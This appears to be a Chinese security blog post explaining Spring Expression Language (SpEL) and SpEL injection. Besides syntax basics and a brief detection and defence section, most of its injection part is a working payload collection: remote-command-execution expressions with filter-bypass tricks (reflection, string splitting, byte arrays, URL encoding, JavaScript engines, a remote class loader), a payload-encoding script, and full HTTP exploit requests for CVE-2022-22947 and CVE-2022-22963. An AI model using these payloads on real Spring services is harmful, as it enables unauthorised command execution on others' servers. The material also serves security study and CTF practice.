0x 01 简介

在Spring 3中引入了Spring表达式语言(Spring Expression Language,简称SpEL),这是一种功能强大的表达式语言,支持在运行时查询和操作对象图,可以与基于XML和基于注解的Spring配置还有bean定义一起使用。
在Spring系列产品中,SpEL是表达式计算的基础,实现了与Spring生态系统所有产品无缝对接。Spring框架的核心功能之一就是通过依赖注入的方式来管理Bean之间的依赖关系,而SpEL可以方便快捷的对ApplicationContext中的Bean进行属性的装配和提取。由于它能够在运行时动态分配值,因此可以为我们节省大量Java代码。
SpEL有许多特性:

  • 使用Bean的ID来引用Bean
  • 可调用方法和访问对象的属性
  • 可对值进行算数、关系和逻辑运算
  • 可使用正则表达式进行匹配
  • 可进行集合操作

0x 02 SpEL定界符

SpEL使用#{}作为定界符,所有在大括号中的字符都将被认为是SpEL表达式,在其中可以使用SpEL运算符、变量、引用bean及其属性和方法等。
这里需要注意#{}和${}的区别:

  • #{}就是SpEL的定界符,用于指明内容未SpEL表达式并执行;
  • ${}主要用于加载外部属性文件中的值;
  • 两者可以混合使用,但是必须#{}在外面,${}在里面,如#{‘${}’},注意单引号是字符串类型才添加的;

0x 03 引用Bean、属性和方法

1.引用Bean

1
2
3
<!--原来的写法,通过构造函数实现依赖注入-->
<!--<constructor-arg ref="test"/>-->
<constructor-arg value="#{test}"/>

2.引用属性

1
2
3
4
5
6
7
8
<bean id="sing1" class="com.spring.entity.Instrumentalist">
<property name="song" value="#{'love'}"/>
<property name="instrument" value="#{'paino'}"/>
</bean>
<bean id="imitators" class="com.spring.entity.Instrumentalist">
<property name="song" value="#{sing1.song}"/>
<property name="instrument" value="#{sing1.instrument}"/>
</bean>

bean中的属性可以直接引用其他bean的属性值。

引用类方法

1
<property name="song" value="#{SongSelector.selectSong()}"/>

0x 04 类类型表达式T(Type)

在SpEL表达式中,使用T(Type)运算符会调用类的作用域和方法。换句话说,就是可以通过该类类型表达式来操作类。
使用T(Type)来表示java.lang.Class实例,Type必须是类全限定名,但”java.lang”包除外,因为SpEL已经内置了该包,即该包下的类可以不指定具体的包名;使用类类型表达式还可以进行访问类静态方法和类静态字段。

1
2
<property name="random" value="#{T(java.lang.Math).random()}"/>

0x 05 SpEL用法

在表达式中使用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
       ExpressionParser parser = new SpelExpressionParser();
// java.lang 包类访问
Class<String> result1 = parser.parseExpression("T(String)").getValue(Class.class);
System.out.println(result1);
//其他包类访问
String expression2 = "T(java.lang.Runtime).getRuntime().exec('calc.exe')";
Class<Object> result2 = parser.parseExpression(expression2).getValue(Class.class);
System.out.println(result2);
//类静态字段访问
int result3 = parser.parseExpression("T(Integer).MAX_VALUE").getValue(int.class);
System.out.println(result3);
//类静态方法调用
int result4 = parser.parseExpression("T(Integer).parseInt('1')").getValue(int.class);
System.out.println(result4);

在xml中使用:

1
2
3
 <bean id="helloWorld" class="com.dragonkeep.HelloWorld">
<property name="message" value="#{T(java.lang.Runtime).getRuntime().exec('calc.exe')}" />
</bean>

在注释中使用:

1
2
3
4
5
6
7
public class EmailSender {
@Value("${spring.mail.username}")
private String mailUsername;
@Value("#{ systemProperties['user.region'] }")
private String defaultLocale;
//...
}

0x 06 SpEL表达式注入漏洞

简单的demo:

1
2
3
4
String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(spel);
System.out.println(expression.getValue());

漏洞原理:
SimpleEvaluationContext和StandardEvaluationContext是SpEL提供的两个EvaluationContext:

  • SimpleEvaluationContext - 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开SpEL语言特性和配置选项的子集。
  • StandardEvaluationContext - 公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。

SimpleEvaluationContext旨在仅支持SpEL语言语法的一个子集,不包括 Java类型引用、构造函数和bean引用;而StandardEvaluationContext是支持全部SpEL语法的。
由前面知道,SpEL表达式是可以操作类及其方法的,可以通过类类型表达式T(Type)来调用任意类方法。这是因为在不指定EvaluationContext的情况下默认采用的是StandardEvaluationContext,而它包含了SpEL的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行。

PoC&Bypass整理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56

// Runtime
T(java.lang.Runtime).getRuntime().exec("calc")
T(Runtime).getRuntime().exec("calc")
T(Runtime).getRuntime().exec(new String[]{"open","/System/Applications/Calculator.app"})

// ProcessBuilder
new java.lang.ProcessBuilder(new String[]{"open","/System/Applications/Calculator.app"}).start()
new ProcessBuilder(new String[]{"open","/System/Applications/Calculator.app"}).start()


// 反射调用
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

// 同上,需要有上下文环境
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

// 反射调用+字符串拼接,绕过如javacon题目中的正则过滤
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})

// 同上,需要有上下文环境
#this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})

// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part1
// byte数组内容的生成后面有脚本
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()

// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part2
// byte数组内容的生成后面有脚本
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))

// JavaScript引擎通用PoC
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")

T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)

// JavaScript引擎+反射调用
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)

// JavaScript引擎+URL编码
// 其中URL编码内容为:
// 不加最后的getInputStream()也行,因为弹计算器不需要回显
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)

// 黑名单过滤".getClass(",可利用数组的方式绕过,还未测试成功
''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'calc')

// JDK9新增的shell,还未测试
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()
//使用URLClassLoader 可以加载远程类库和本地路径的类库
new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://127.0.0.1:9900/")}).loadClass("exp").getConstructor().newInstance()
//使用AppClassLoaderAppClassLoader 直接面向用户,它会加载 Classpath 环境变量里定义的路径中的 jar 包和目录,由于双亲委派的存在,它可以加载到我们想要的类
T(ClassLoader).getSystemClassLoader().loadClass("java.lang.Runtime").getRuntime().exec("open /System/Applications/Calculator.app")
//使用Character类构造字符串
T(Character).toString(68) //D

CreateAscii.py,用于String类动态生成字符的字符ASCII码转换生成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
message = input('Enter message to encode:')

print('Decoded string (in ASCII):\n')

print('T(java.lang.Character).toString(%s)' % ord(message[0]), end="")
for ch in message[1:]:
print('.concat(T(java.lang.Character).toString(%s))' % ord(ch), end=""),
print('\n')

print('new java.lang.String(new byte[]{', end=""),
print(ord(message[0]), end="")
for ch in message[1:]:
print(',%s' % ord(ch), end=""),
print(')}')

0x 07 检测方法

1
2
3
4
//关键类
org.springframework.expression.Expression
org.springframework.expression.ExpressionParser
org.springframework.expression.spel.standard.SpelExpressionParser
1
2
3
4
5
//调用特征
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(str);
expression.getValue()
expression.setValue()

防御方法

最直接的修复方法是使用SimpleEvaluationContext替换StandardEvaluationContext。

0x 08 有关Spel表达式的CVE

CVE-2022-22947

Spring Cloud Gateway 3.1.0漏洞版本
POC
添加一个包含恶意SpEL表达式的路由:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}

然后,发送如下数据包应用刚添加的路由。这个数据包将触发SpEL表达式的执行:

1
2
3
4
5
6
7
8
9
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

发送如下数据包即可查看执行结果:

1
2
3
4
5
6
7
8
9
GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

CVE-2022-22963

spring.cloud.function.routing-expression头中包含的SpEL表达式将会被执行:
POC

1
2
3
4
5
6
7
8
9
10
POST /functionRouter HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
Content-Type: text/plain
Content-Length: 4

CVE-2022-22950

DOS类型漏洞,没找到POC,存档。

CVE-2022-22980

  • Spring Data MongoDB == 3.4.0
  • 3.3.0 <= Spring Data MongoDB <= 3.3.4

根据官方公布的漏洞信息,使用@Query或@Aggregation注解进行查询时,若通过SpEL表达式中形如“?0”的占位符来进行参数赋值,同时应用程序未对用户输入进行过滤处理,则可能受到SpEL表达式注入的影响
再简单从前端传入参数即可,这里使用参数a(偷的图)。
image-20240603102556955
这里只放了POC和利用,想看具体调试过程,可以参考这篇文章

0x 08 赛题参考

DASCTF X HDCTF 2024 ImpossibleUnser

0x 09 参考文章

https://chenlvtang.top/2022/08/30/Java%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E4%B9%8BSpEL/
https://xz.aliyun.com/t/9245?time__1311=n4%2BxuDgD9DyDRGCDCD0DBMb78qh3O%2FQQeD&alichlgref=https%3A%2F%2Fwww.google.com%2F#toc-9
https://s1mple-top.github.io/2022/03/20/SpEL%E6%B3%A8%E5%85%A5RCE%E5%88%86%E6%9E%90%E4%B8%8E%E7%BB%95%E8%BF%87%E4%BB%A5%E5%8F%8Ajava%E5%8D%95%E5%90%91%E6%89%A7%E8%A1%8C%E9%93%BE%E7%9A%84%E6%80%9D%E8%80%83/